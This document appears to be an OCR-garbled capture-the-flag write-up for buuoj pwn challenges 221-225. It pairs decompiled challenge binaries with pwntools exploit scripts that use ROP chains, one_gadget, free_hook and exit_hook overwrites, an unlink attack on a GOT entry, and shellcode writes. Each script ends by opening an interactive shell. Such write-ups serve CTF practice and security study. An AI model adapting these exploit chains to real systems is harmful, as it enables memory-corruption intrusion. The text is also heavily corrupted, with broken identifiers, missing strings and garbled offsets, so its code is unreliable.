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__inte4 _ fastcall main(int al, char **a2, char **a3)
:
L

__int64 result; // rax

pthread_t newthread[2]; // [rsp+éh] [rbp-186h] BYREF

newthread[1] = __readfsqword(@x28u);
setbuf(stdin, OLL);

setbuf(stdout, ©LL);

puts(byte_400C9);

puts(" # #  #HHE  HESSE  HESSSE");
puts(" # # # # # #")3

puts ("### ### # #  #H#HE");
puts(" # # # # #")3
puts(" # # # # # #")3
puts (" H#tH# # #")3

puts(byte_488C96);
pthread_create(newthread, @LL, start_routine, ©LL);
if ( pthread_join(newthread[®], ©LL) )
{

puts("exit failure");

result = 1LL;
}
else
{

puts("Bye bye");

result = @LL;
}

return result;
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#tinclude <pthread.h
int pthread _create(
pthread_t *restrict tidp,
const pthread_attr_t *restrict attr,

void *(*start _rtn)(void *),
void *restrict arg

)i
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int pthread join(pthread_t thread, void value ptr
thread: FfFRHARENLIES .

value_ptr: iBHZEFRERREE.
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void *__fastcall start_routine(void *al)
{
unsigned __inté4 v2; // [rsp+8h] [rbp-1618h]
char s[4104]; // [rsp+1@h] [rbp-1018h] BYREF
unsigned __inté4 v4; // [rsp+1018h] [rbp-8h]

v4d = _ readfsgqword(@x28u);
memset(s, ©, ©x1000uLL);
puts("Welcome to babystack 2018!");
puts("How many bytes do you want to send?");
v2 = sub_40e906();
if ( v2 <= ex1eeee )
{
sub_400957(eLL, s, v2);

puts("It's time to say goodbye.");
}

else

{
puts("You are greedy!");
}

return oLL;
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| _inté4 _ fastcall sub_40@957(int al, __int64 a2, unsigned __inté4 a3)

{
unsigned __inté4 v5; // [rsp+26h] [rbp-186h]
ssize_t v6; // [rsp+28h] [rbp-8h]

v5 = @LL;
while ( v5 < a3 )
{

v6é = read(al, (void *)(v5 + a2), a3 - v5);

if ( ve == -1 )

{

if ( *_errno_location() != 11 && *_errno_location() != 4 )
return -1LL;

}

else
{
if (lve )
return v5;
v5 += v6;
X
X

return v5;

}
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from pwn import
r process(
elf = ELF(
context.log_level
pop_rdi 0x400c03
pop_rsi ri5s 0x400c01
leave_ret 0x400955
base elf.bss() 0x500
elf.got|
elf.plt[
elf.plt]
0x1010 + p64(base - 0x8) p64(pop_rdi) p64(puts_got) p64(puts_plt)
p64(pop_rdi) p64(0)
p64(pop_rsi_ris) p64(base) p64(9) p64(read_plt)
p64(leave_ret)

payload.ljust(0x2000,

r.sendlineafter( (0x2000))
r.send(payload)

libc_addr = u64(r.recvuntil( )[-6: ].1just(8,
one_gadget libc_base ox41322

r.send(p64(one_gadget))

r.interactive()
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int 1; // [
int v2; //
unsigned __

\ __readfsqword(@x28u);
printf(“size:");
v2 = sub_12EC();
f(v2 >0 8% v2 <= 4095 )

@; 1 <= 19 && qword_4@68[i]; ++i )




if (1<=19)
{
qword_4060[1] = malloc(v2);
printf("content:");
sub_1249(qword_4060[1], (unsigned int)v2);
puts(“Done!");
¥
else
{
puts(“full");
¥
¥
else
{
puts(“invalid");

h

return __readfsqword(®x28u) ~ v3;

free

unsigned __ int64 delete()
{
int v1; // [rsp+4h] [rbp-Ch]
unsigned __inte4 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(@x28u);
printf("idx:");
vl = sub_12EC();
if (vl >= @ && v1 <= 19 && qword_4e6e[v1] )
{
free((void *)qword_4060[v1]);
puts("Done!");
¥
else
{
puts("invalid");

h

return __readfsqword(®x28u) ~ v2;
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show

knsigned _ int64 show()
{
int v1; // [rsp+4h] [rbp-Ch]
unsigned __inté4 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsgword(@x28u);

printf("idx:");

vl = sub_12EC();

if (vl >= @ && vl <= 19 && qword_4060[v1] )
puts((const char *)gqword_4e6e[v1]);

else
puts(“invalid");

return __readfsqword(@x28u) " v2;
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from pwn import

remote( ,26055)

elf = ELF(
libc = ELF(

def add(size,content):
r.sendlineafter(
r.sendlineafter( (size))

r.sendlineafter( ,content)

def delete(idx):
r.sendlineafter(

r.sendlineafter(

def show(idx):
r.sendlineafter(
r.sendlineafter(

libc_base ub4(r.recvuntil( )[-6:].1just(8, ))-1libc.sym[ ]1-6x10-96
system_addr libc_base+libc.sym[ ]
free_hook = libc_base+libc.sym[

add (0x60, p64(free_hook))
add (0x60, )

add (0x60, p64 (system_addr))
add (0x20, )

r.sendlineafter(
r.sendlineafter(

r.interactive()
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 DWORD *sub_8048810()

{
_DWORD *v@; // eax
_DWORD *v1; // edx
_DWORD *result; // eax

v@ = malloc(@xCleu);
dword_8@4A2EC = (int)ve; |
*vB = 256;
ve[l] = e;
vl = ve + 2;
result = v + 779;
do
{
*vl = @;
vi[1]
vl += 3;
*(vi - 1) = 8;
}
while ( vl != result );
return result;

e;
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new

|  else
{
vZ = @;
LABEL_9:
printf("Length of new note: ");
v3 = sub_8048738();
if (v3<=90)
{

}

else

{

result = puts("Invalid length!");

vd = 4096;
if (v3 <= 4096 )
vd = v3;
v5 = malloc(v4 + (-v4 & OX7F));
printf("Enter your note: ");
sub_8848670(v5, v4);
ve = dword_8e4A2EC;
v7 = (_DWORD *)(dword_804A2EC + 12 * v2);
v7[3] = v4;
v7[4] v5;
v7[2] 1;
++*(_DWORD *)(v6 + 4);
result = puts("Done.");

}
¥
¥

return result;

}
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list note

DWORD *1ist()
{
_DWORD *result; // eax

int i; // ebx

_DWORD *v2; // edx

int v3; // [esp-Ch] [ebp-18h]

result = (_DWORD *)dword_ 8e4A2EC;
if ( *(int *)(dword_804A2EC + 4) <= © )
return (_DWORD *)puts("You need to create some new notes first.");
for ( 1 = @; *(_DWORD *)dword_8@4A2EC » i; result = (_DWORD *)dword_884A2EC )

{
while ( 1)
{
v2 = &result[3 * i];
if ( v2[2] == 1)
break;
if ( *result <= ++1 )
return result;
by
V3 = 144
printf("%d. %s\n", v3, (const char *)v2[4]);
¥

return result;
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edit
int v/; // esl

printf("Note number: ");
ve = sub_8048730();
if (ve<e)
return puts("Invalid number!");
if ( ve >= *(_DWORD *)dword_ 8@4A2EC )
return puts("Invalid number!");
vl = 12 * v@;
if ( *(_DWORD *)(dword_8@4A2EC + 12 * v& + 8) != 1 )
return puts("Invalid number!");
printf("Length of note: ");
v3 = sub_8048730();
if (v3<=9)
return puts("Invalid length!");
vd = 4096;
if ( v3 <= 4096 )
vd = v3;
v5 = vl + dword_804A2EC;
if ( *(_DWORD *)(vl + dword_804A2EC + 12) != v4 )
{
v6 = realloc(*(void **)(v5 + 16), v4 + (-v4 & Ox7F));
v7 = dword_8@4A2EC + vI1;
*(_DWORD *)(v5 + 16) = v6;
*(_DWORD *)(v7 + 12) = v4;
¥
printf(“Enter your note: ");
sub_8048670(*(_DWORD *)(dword_8@4A2EC + 12 * vO + 16), v4);
return puts(“Done.");
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free

iNT vVY; // eax
int v1; // edx
int v3; // eax

if ( *(int *)(dword_804A2EC + 4) <= © )
return puts("No notes yet.");
printf("Note number: ");
ve = sub_8048730();
if (ve < 8)
return puts("Invalid number!");
vl = dword_84A2EC;
if ( ve >= *(_DWORD *)dword_Se4A2EC )
return puts("Invalid number!");
--*(_DWORD *)(dword_8e4A2EC + 4);
v3 = vl + 12 * ve;
*(_DWORD *)(v3 + 8) = @;
*(_DWORD *)(v3 + 12) = @}
free(*(void **)(v2 + 16));
eturtputse T e
b
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from pwn import
context.log_level

libc = ELF( )
elf = ELF(
r remote( ,26559)

def listNote():
r.sendlineafter(

def newNote(length, content):
r.sendlineafter( )
r.sendlineafter( 5 (length))
r.sendlineafter( , content)

def editNote(number, length, content):

.sendlineafter( 5 )
.sendlineafter( 5 (number))
.sendlineafter( 5 (length))
.sendlineafter( , content)

def deleteNote(number):
r.sendlineafter( )
r.sendlnieafter( (number))
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libc_addr u32(p.recv(4)) 0x1bob70
system_addr libc_addr libc.symbols|
(libc_base)

p32(0)+p32(0x81)+p32(heap_base+0x18-12)+p32(heap_base+0x18-8)
payload.ljust(0x80, )
p32(0x80)+p32(0x80)
payload.ljust(0x80*2,
(payload),payload)
deleteNote(1)

p32(2)+p32(1)+p32(4)+p32(elf.got[ 1)+p32(1)+p32(8)+p32(heap_base+Bxca8)
payload2.ljust(0x80*2, )
) (payload2),payload2)

editNote(0,4,p32(system_addr))

editNote(1,8, )

deleteNote(1)

r.interactive()
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void _ fastcall _ noreturn main(int al, char **a2, char **a3)
{

int i; // [rsp+4h] [rbp-Ch]

void *buf; // [rsp+8h] [rbp-8h] BYREF

sleep(@);
printf(“here is a gift %p, good luck ;)\n", &sleep);
fflush(_bss_start);
close(1);
close(2);
for (1 =03 1 <=4} ++1 )
{
read(®, &buf, 8ulLl);
read(®, buf, 1uLL);
¥
exit(1337);
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from pwn import

context.log level

r remote(
libc = ELF(
1d = ELF(

(r.recv(12),16)

_base sleep_addr libc.symbols|[
one_gadget libc_base 0x41322
exit_hook libc_base 0x619f68

for i in (5):
r.send(p64(exit_hook i))
r.send(p64(one_gadget)[i])

r.sendline(

r.interactive()

225 inndy_onepunch



e

—

—

int _ cdecl main(int argc, const char **argv, const char **envp)

{

int v4; //
int v5; //

__inte4 ve[2]; //

P

fefs

[1] = __readfsqword(@x28u);

setbuf(_bss_start, 6LL);
printf(“Where What?");
= __1s50¢99_scanf("%llx %d",

if ( I=
return 8;
*(_BYTE *)
i'F ( _
puts("No
return 8;

2o e
00— .

2)

[0] = v4;
255 )
flag for you");
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from pwn import

context(os
r process(
text 0x400767

def writeData(addr,data):

r.sendlineafter( (addr)
writeData(text+1,u32(asm( )[1:].1just(4,
writeData(text,u32(asm( )[0:1].1just(4,

shellcode asm(

shellcode_addr = 0x400769
i (%]
for x in shellcode:
data u8(x)
writeData(shellcode_addr i,data)
i i 1
writeData(text+1,u32(asm( )[1:].1just(4,

r.interactive()

(data))

)))
)))




	buuoj Pwn writeup 221-225
	221 starctf2018_babystack
	222 xm_2019_awd_pwn2
	223 jarvisoj_level6
	224 hctf2018_the_end
	225 inndy_onepunch

